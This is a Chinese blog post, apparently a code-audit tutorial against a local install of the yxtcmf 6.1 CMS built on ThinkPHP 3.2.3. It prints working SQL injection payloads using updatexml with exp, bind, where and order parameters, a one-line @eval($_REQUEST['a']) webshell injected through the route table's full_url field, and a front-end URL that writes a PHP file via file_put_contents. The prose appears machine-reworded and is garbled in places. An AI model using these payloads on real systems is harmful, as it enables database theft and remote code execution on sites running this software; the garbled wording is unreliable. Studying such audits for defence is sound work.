php 0x00,phpstudy,AWVS0x00掌握文档构造和路由方法

序言

yxtcmf6.1是一个根据thinkphp3.2.3的cms,19年3月份公布,用于训练代码审计是个非常好的挑选。

财务审计构思

因为这一cms选用MVC构架而且是根据thinkphp3.2.3的,因此 先掌握文档构造,了解不一样的网页页面相匹配的文档部位在哪儿。随后构建一个tp3.2.3了解一下这一架构,百度搜索找找这一架构的系统漏洞,再根据Seay全局搜索很有可能由于这一架构存有系统漏洞的关键字。接下去上全自动财务审计(全自动财务审计的标准并并不是很彻底,因此 能够根据自身财务审计的工作经验加上标准或是上百度搜索找一些标准),对全自动财务审计的結果开展认证,結果很有可能会出现好几百上万条,尽管无需每一条都去看看,可是也是较为必须细心的。最终能够拿AWVS这类的扫描枪扫一扫,看一下能否扫到意外惊喜。

提前准备专用工具

phpstorm,Seay源代码审计系统,phpstudy,AWVS

0x00 掌握文档构造和路由方法

290abbac918fbba8cdf4c842901e4dce.png

路由器方法

d6802c0d8c985f999e613994aa21b415.png

比如前台接待登陆界面的url为http://127.0.0.1:8014/index.php/User/Login/index

b0ea72730b4c6570c5e90df74c139b6c.png

则相匹配的文件名称为/application/User/LoginController.class.php,涵数为index()

798cc85dfbc0151053fa060fdacfeec7.png

0x01 掌握thinkphp3.2.3的系统漏洞

自身先构建一个tp3.2.3,根据百度搜索找到一些thinkphp3.2.3存有的sql注入,随后记下来简易表明一下

fe8c68f86a4be36a86cabbbddaa40d34.png

tp3.2.3结构sql语句的涵数如上,假如$option的值是能够随意传到的,那麼就会有很有可能做到sql注入的目地

1.->where("可控性主要参数")->find() $username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();

测试程序如上,传到主要参数username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)#,随后调节跟踪,关键代码段以下,$whereStr为结构sql语句的一部分

105de998412411297d62cf1e12d2187f.png

c0bd1cae141444bf3673dd3c8493bb94.png

結果组成以下sql语句

1ca4579ac00b7f7dcb7b52812d9df34f.png

这儿接受传参的方式 务必不以I($_GET['username']),不然会参考值内是不是带有'exp',如果有,便会再加空格符变成'exp '

2.->find/select/delete("可控性主要参数") $id=I("id");$data=M("users")->find($id);

测试程序如上,传到id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) # ,随后调节追踪

77f01fe4709109057d5a5feff10ad183.png

最终获得sql语句以下,不用单引号合闭也可进行引入

428b22f93d52bf5c52225fbf45f23096.png

find()换为select()或是delete()也是一样的实际效果

3.->where("可控性主要参数")->save("可控性主要参数") $condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);

测试程序如上,传到username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))#&password=123456,调节追踪

58fd6b2fd3a2fb7d4c83ef25ee5b34d8.png

5159809a6a5507aea04f014de04ecd52.png

7079c6fb07a7eb435db1a350b0ef6dd1.png

4.->order("可控性主要参数")->find() $username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();

测试程序如上,传到username=admin&order[updatexml(1,concat(0x3a,user()),1)]

ba68bf7b592042abdcf5e0075d46395f.png最终的sql语句以下

02dab4fc031636e868ca46951ff86745.png

了解了好多个tp3.2.3的sql注入后,就可以检索这种关键字来找寻sql注入

0x02 全局搜索sql注入

正则表达式学的并不是非常好,因此 这儿全局搜索尽管适用正则表达式,可是不去用,只有写点简易的关键字来检索,敬请老师傅们指导指导

全局搜索->find(

c53e4f5629ba202c9d7aa4ae1a1dc8de.png

1.后台管理Ad控制板sql注入

33bf5e3ed024ef8c8cdf67f02c6dccc8.png

点进来第一条发觉where()内的$id可控性,“ad_id=$id”,很有可能不用单引号合闭就可以sql注入

6f6720c464e66445183d0fa43758134d.png

先随意传个主要参数看一下sql语句是如何的

bd2009bd7402e4adb379bc3ab7ad9ffc.png

居然那样,就可以用括弧合闭来引入了

e6f4bb332776a334c84723bdae473a13.png

2.前台接待register控制板sql注入

c767f6bc241dd53ca67021bf4d03f284.png

看一下$where是不是可控性

2c814b6e421b8876f29f430df4991309.png

因此结构payload以下

34c5f0f106b7a997513a4713e7e8f8f0.png

3.前台接待login控制板sql注入

ea9b5d960bd7f8e10866d57797577951.png

这儿一共有三处一样的关键字,必须留意的一点是,这三条无论双击鼠标进来哪一条后都总是高亮显示第一处关键字的部位。

第一处

5d30e0a73ce3109a7f8e7d3a47df55a9.png 第二处

24fdf8252c427822e9d1b46372016d14.png

第三处

1589176267_5eb8e7cb660a1.png!small

第一处和第二处所属的涵数全是在dologin()涵数内启用的

0d668e2990511614af60477061c3713f.png

接下去在第二处所属网页页面传参payload看一下

486b043e7659f1253d6e9f07d714e94e.png

結果出現报错,那麼就调节追踪看一下是哪里的难题

60b664f7bf30ca5756ab00862cad1489.png

随后再次跟踪这行编码,

4553166586c1de185eb8f7c8a9a2902b.png

2a7523f33636b4d0c36648a760abe379.png

cc3c8b7948e2964ada632b3fe4f84ada.png

e862ec592ced5bd55f82fa8049955fd2.png

d70698d9db4524ed8ad0009273656164.png

b727f6b69f47433750baf2a8a0981593.png

最终看一下第三处

fe57f4835c258b2d82fc4b6c598e0409.png

f85f1e7a25bc016ac463c89efd34c340.png

后边的結果大概看过一下基础全是where()内的主要参数都干了强制性类型转换成int型,或是不可控性,而且都没有见到fin()内有可控性主要参数的。

全局搜索->select/delete(

349175463e45bf95fba10cefe4741e39.png

1305a08e915171a4da913c38dad6f7bf.png

这两都没找到select/delete()里边有可控性主要参数的

全局搜索->save(

30234e708a9f3c36eaed9e10bf07ae75.png

这儿找的也是不符很有可能存有系统漏洞的标准

全局性搜索->order(

17ba48a618723aff8d9b131e3fff8014.png

跟上面一样,没见到order()内有可控性主要参数的

0x03 全自动财务审计

e52f316fc613cb1181918fba3b30ec4d.png

根据全自动财务审计扫到了800好几条結果,可是并不一定统统看,例如了解了tp3.2.3后,它的关键文档的就不用看过,也有不久剖析过去了sql注入,那麼这里边的sql注入也不用看过。像fread(),fgets()这类必须輸出才可以见到文档內容的,要是没有见到輸出的句子还可以放弃了,而像readfile(),unlink()这类能够立即获得实行結果的,就需要重点关注一下。

0x04 后台管理随意文档载入

翻着翻着找到这儿,进来看一下自变量是不是可控性

d818bb785b1753196cae904e6538ca57.png

0ae4622a4d97361f0e5b15db3e9c0d0d.png

000ebaed4910f9a39911de53a98e5ffe.png

22261db79e230cd1b79d5a5ca4753ef1.png

0x05 后台管理文档载入getshell

翻到这儿,点进来看一下

aaf0c9b99dc261b9dbf5b67e240e9c33.png

6ef5f5f723dd4c1399ea0b6530f6f19e.png

622b36595afacfd66729c2166d17f4e9.png

那麼假如能在route表格中的full_url字段名中插进一句话木马,就可以将其载入到route.php里边了

上边的1212-1217行必须留意一下

4bd0d3c60badfdfa9d878b8898f08acc.png parse_url($full_url)将里边的值分析,并将相对的值组成数字能量数组,事例以下

4f2f768aad1ea20203a02c5f0993c4cb.png

97622a6ecb336f7b6a10517dfde2f035.png

假如$a立即填a/b/c/d,那麼array[path]=a/b/c/d

52f5bcfb3222b88d3d05baf6b5255741.png

08d523154113a412e11362648f412361.png

再次见到1215-1217行

b201c823dcf1c0679c2572ff609ccc36.png

因此 full_url的字段名务必带有 a/b/c那样的方式

全局搜索sp_get_routes后发觉admin文件目录下的Route控制板启用了它

89711e7ff3dcfb8688be9616e839f594.png

尽管index()涵数下沒有插进表的句子,可是下边也有add()涵数开展数据库查询插进,先开启这一index网页页面看一下

79b6356925d52c7440e9140be0982e37.png

发觉有加上url标准

8d71cbc574675046f563ad9bb621fdb4.png

的确是在add()下,而且初始网站地址的自变量名叫full_url,加出来都键入111认证下是不是插进route表

1c132b024204f86889e1143093607f24.png

接下去看一下route.php的款式和插进数据信息是不是有过虑来明确payload该怎么写

d35a6dddf8deda868dffb9059e26317b.png

由于它是个php文件,因此 不用插进<>了,要是能插进单引号合闭,那麼就可以将一句话木马插进

先插进带单引号的数据处理一下

d5d289b8e28659fecc3843120bf2e789.png

随后再融合上边说的 full_url的字段名务必带有 a/b/c那样的方式 那麼就可以结构下列二种payload

url=aaa',@eval($_REQUEST['a']),'

full_url=a/b/c

url=aaa

full_url=a/b/c',@eval($_REQUEST['a']),'

1589189228_5eb91a7c00088.png!small

8da8a9b71dab3c9de5a9fec1f07c73fe.png

加上完后会跳转到url清理页面,也就是启用route控制板的index()涵数,进行载入route.php的实际操作

8f8b68930591a6423ddaa8f39e2ff7af.png

c2bac4a8ca1a7353896d6ee0b366a64d.png

随后取得成功实行phpinfo()

0x06 前台接待文档载入getshell

这个是在百度上寻找的,并且非常复杂,小兄弟水准比较有限,调节了好多遍才知道在哪儿实行的 载入。

http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','<?php phpinfo(); ?>')

50790df37a9cbdc87d47ef9e04418caf.png

因为前边跟踪了许多 文档和函数,跟踪流程较为繁杂,我在这里就立即贴出最终重要的地区

377b8e891a9a11373a15c63e6e1f43b4.png

b74f3d01f432a50c2571ab99d0cbb4bd.png先回调函数has方式 查验有木有''5f068... 这一php文件,要是没有,则回调函数put载入这一文档

2afcd454277ce1f2701e6aa3dd2e0bb4.png

1151813efc569248880445e63ad1a475.png

280c4e8475552d67204d9dccba338995.png

这儿的$content就包括了payload里载入的值

8491170f2df8c298c50ca8a391cdbe52.png

如果有''5f068... 这一文档,那麼就回调函数load涵数,随后文件包含''5f068... ,里边的编码强制执行,那麼test.php文件就被载入了

43f5ee0af070c42106fb1cfe34c99612.png

92df80df3988d9e0d74e8a4f56cf370c.png

f5344e76b19e23f764ffa4dbd231ac86.png

0x07 AWVS扫描仪

b1eee8bad35eccf59db4a73e3579dc30.png

AWVS并沒有扫出哪些...

小结

全自动财务审计除开这种认证出系统漏洞的地区,也有许多 不会有系统漏洞的地区因为我看过,要不便是主要参数不可控性,要不便是干了安全防护。尽管无需每一条結果都去看看,但還是必须有点儿细心。期待本文能对刚新手入门财务审计的弟兄有一定的协助,不太好的地区也敬请老师傅们强调。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值